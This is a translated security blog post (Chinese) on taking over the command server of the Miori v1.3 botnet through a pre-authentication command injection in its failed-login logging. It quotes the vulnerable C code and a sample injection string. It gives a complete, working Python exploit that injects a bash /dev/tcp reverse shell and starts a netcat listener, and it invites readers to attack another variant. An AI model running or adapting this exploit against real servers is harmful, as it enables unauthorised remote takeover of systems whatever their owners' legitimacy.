0x00 前言
本文将分享如何攻破一些代码存在漏洞的僵尸网络,这些僵尸网络的操作者通常为脚本小子。
此前我并未接触过这些黑产,因此对鼎鼎大名的DoS社区(译者注:僵尸网络通常被用于发动大规模DoS攻击以谋利)知之甚少。最近因为写这篇文章而收集了一些信息。根据我的理解,主要有两个僵尸网络分别为:Qbot和Mirai,并且它们不断地被改进而出现了大量变种。根据调查,我发现某些人似乎想要对僵尸网络进行”升级“,添加更多功能例如登入失败后重试,新型的DoS方法和暴力破解。这些将成为僵尸网络的”卖点“(这意味着普通人只要有钱,就可以利用肉鸡做某些事情),有时候黑产从业者也会直接出售这些肉鸡。
0x01 概述
目前,大部分僵尸网络工具都使用C语言编写的,C语言强大而危险,如果它们是由没有安全意识的程序员编写,则可能会铸成大错 – 我们接下来将会介绍。 只要学过二进制开发的人,都知道这个语言中的一个小错误也可能会导致巨大的漏洞,例如不规范地调用printf()
和错误计算缓冲区的内存分配。 在本文,我只会分享我在Qbot僵尸网络中发现的三个漏洞中的一个,并且但这个漏洞严重性最高。 如果你觉得我很小气,那你可能就属于下图中的人?
I’m sorry,开个玩笑。我不想跟小孩子争吵,毕竟小孩子总是可以在海量服务器中弹出shell。
我在Miori v1.3僵尸网络上发现了一个预认证(Pre-auth)远程代码执行漏洞,此漏洞正是由于不当的输入处理和错误的使用system()
函数而导致。 我再次重申,这是一个预认证型的远程命令执行漏洞。 修改Qbot源码时,某些人成功犯下大错 – 也许下次他们应该只使用Python¯(ツ)/¯。
不管怎么说,如果我们利用此漏洞成功劫持服务器,那简直太丢人了 :)。
0x02 环境搭建
攻击者 | 僵尸网络服务器 | |
---|---|---|
系统 | Linux Mint 64 bit | CentOS 7 Minimal 64bit |
IP地址 | 10.10.10.7 | 10.10.10.6 |
端口 | X | 666 |
应用 | X | Miori v1.3 |
下载地址:
-> Linux Mint ISO
-> CentOS 7 ISO
-> Miori v1.3
Miori v1.3僵尸网络安装教程:
注:安装脚本要使用yum来下载,因此这个僵尸网络服务器必须基于RedHat系统。
注:CentOS系统默认启用了防火墙。 如果无法连接如666之类的端口,可以通过“systemctl stop firewalld”将防火墙关闭,“systemctl disable firewalld”将其完全禁用。
0x03 代码
解压.zip压缩包:
对于我们来说有用的文件是cnc/cnc.c。 该文件中包含了僵尸网络“操作者”所需的主要功能,有登录,注册以及攻击等功能。具体参考下面这些图片。
登入和注册界面:
通过验证(Post-auth)后的界面:
从整体来看,该工具的UI界面实际上相当不错,肯定有人在上面花了很多时间。 但是他们没有在主代码上花费精力。 可以这样说,这是非常残酷的。 多个超大的char缓冲区,42个returns和3个exits…,可怕的缩进,标签和空格混合使用,76个goto语句(已经9012年了……真有这种事?)。在将来,代码中的漏洞也不会完全消失。 我猜测,如果开发者的主要目标制作一个看起来很酷的UI来赚钱,而不是制作代码美观和可靠的东西时,则会发生这种情况。 来看看代码是什么样的,请点击下图放大查看。
0x04 发现漏洞
其实在整个挖掘过程,我仔细查看了cnc.c中的代码,这令我我感到非常折磨。 在793和794行中,很容易就可以看出漏洞。
792 | char flog[1024];
793 | sprintf(flog,"echo "<--->nfailed login with cred --> %s:%s n[victems ip] nip --> %s n<--->" >> failed.txt",iffailedu,iffailedp,ipl);
794 | system(flog);
你看,这家伙使用iffailedu和iffailedp代表登入失败的用户名和密码。 这表示登入失败后仍可以不断尝试。 这个想法还可以,但实施起来漏洞百出。 开发者使用了system()
函数代替C的文件I/O函数。 为什么?答案很简单:
引用Subby的一句话:
其实很容易可以知道为什么会这样?很大一部分僵尸网络操作者都是从社区教程中学习,或者看看YouTube上的僵尸网络视频。
通常情况下上述中问题可能会导致缓冲区溢出,因为flog分配了1024个字节,但iffailedu和iffailedp最多可达2048个字节。 并且都是基于第637行的buf变量和下面的strcpy()
方法。 然而,更有趣的漏洞在后头。
0x05 Exploitation
转义system()
函数中调用的echo命令,可以进行命令盲注。 这里我只使用username来简化攻击场景。
char data[1024];
sprintf(data,"echo "Failed login with username %sn" >> failed.txt",username);
system(data);
如果用户使用不存在的用户名登入(例如jack),系统会自动执行echo“Failed login with username jack”>> failed.txt
。
入侵者可以通过往用户名(或密码)中插入恶意字符,从而达到命令执行的目的。 例如输入:v3ded"; touch /tmp/hacked; #
. 系统则会运行命令echo "Failed login with username v3ded"; touch /tmp/hacked; #" >> failed.txt
。 在linux bash中,#
作为注释使用可以注释掉其余的命令。 因此入侵者的命令不会被记录到failed.txt。SSH连接服务器,可以看到tmp目录下确实被写入了新文件。
操作者视角:
这个错误的日志记录应当警醒脚本小子们,但考虑到缺乏技术知识,我有点怀疑他们是否理解此漏洞。让我们继续,下面我讲分享使用clear命令来隐藏错误日志。
0x06 Python shell
让我们首先提供所需库,确定套接字(socket),然后将其与我们服务器端口连接。
import socket
import os
import sys
from time import sleep
if(len(sys.argv) != 5):
exit("Usage:ntpython3 {} C2_IP C2_PORT LHOST LPORT".format(sys.argv[0]))
C2_IP = sys.argv[1]
C2_PORT = sys.argv[2]
LHOST = sys.argv[3]
LPORT = sys.argv[4]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((C2_IP, int(C2_PORT)))
Afterwards we need to simulate the login process. We can do that by simply sending 3 messages to the server - login, username payload and password respectively.
CMD = "sh -i >& /dev/tcp/{}/{} 0>&1".format(LHOST, LPORT) # Payload
print("Simulating a login command.")
sock.send(bytes("loginrn", "utf-8"))
sleep(1)
print("Sending the payload.")
sock.send(bytes('user";clear; {} ;# rn'.format(CMD),"utf-8")) # Hiding the error output with ;clear
sock.send(bytes('Press F to pay respects.rn',"utf-8")) # Password doesn't matter
sleep(1)
可以看到,bash与/dev/tcp/结合可以构造反向shell。 可以看到每个命令都会发送包含回车符(r)和换行符(n)。 重要的一点,如果没有结合CRLF(回车换行),则无法利用漏洞。
注意:CentOS没有自带netcat。 如果要使用shell或下载数据,需要安装它。
#!/usr/env/python3
import socket
import os
import sys
import threading
from time import sleep
def Listen(port):
os.system("nc -nlvp {}".format(port))
if(len(sys.argv) != 5):
exit("Usage:ntpython3 {} C2_IP C2_PORT LHOST LPORT".format(sys.argv[0]))
C2_IP = sys.argv[1]
C2_PORT = sys.argv[2]
LHOST = sys.argv[3]
LPORT = sys.argv[4]
CMD = "sh -i >& /dev/tcp/{}/{} 0>&1".format(LHOST, LPORT)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((C2_IP, int(C2_PORT)))
print("Simulating a login command.")
sock.send(bytes("loginrn", "utf-8"))
sleep(1)
print("Sending the payload.")
sock.send(bytes('user";clear; {} ;# rn'.format(CMD),"utf-8"))
sock.send(bytes('Press F to pay respects.rn',"utf-8"))
sleep(1)
t = threading.Thread(target=Listen, args=(int(sys.argv[4]),))
t.start()
except Exception as err:
exit(str(err))
Ok,现在我们可以尝试攻击僵尸网络,如果成功则会有以下画面:
很酷是吧? 如果操作者在恰当端口上正确配置,那僵尸网络的运行身份不会是root。 但是,由于各种服务提供商都默认使用root用户,并且我们的脚本小子们只会复制粘贴不知道他们在做什么的情况下,我打赌你那到的shell大多数都是root权限。
0x07 后记
当我写这篇博客时,又一个名为switchware的Qbot变种发布了。我没有深入研究代码,但发现了后认证(post-auth)RCE漏洞。 这个漏洞利用起来有些麻烦,因为缓冲区限制50个字节,但已利用45个字节。 如果本文热度还可以,我会再写一篇文章分享它: )。你可以尝试把它当作一次训练,攻破它。 存在漏洞代码在第557,558和566行。
Poc:
0x08 参考
Miori src: here
Miori exploit: here
Switchware src: here
Switchware exploit: N/A
发表评论
您还未登录,请先登录。
登录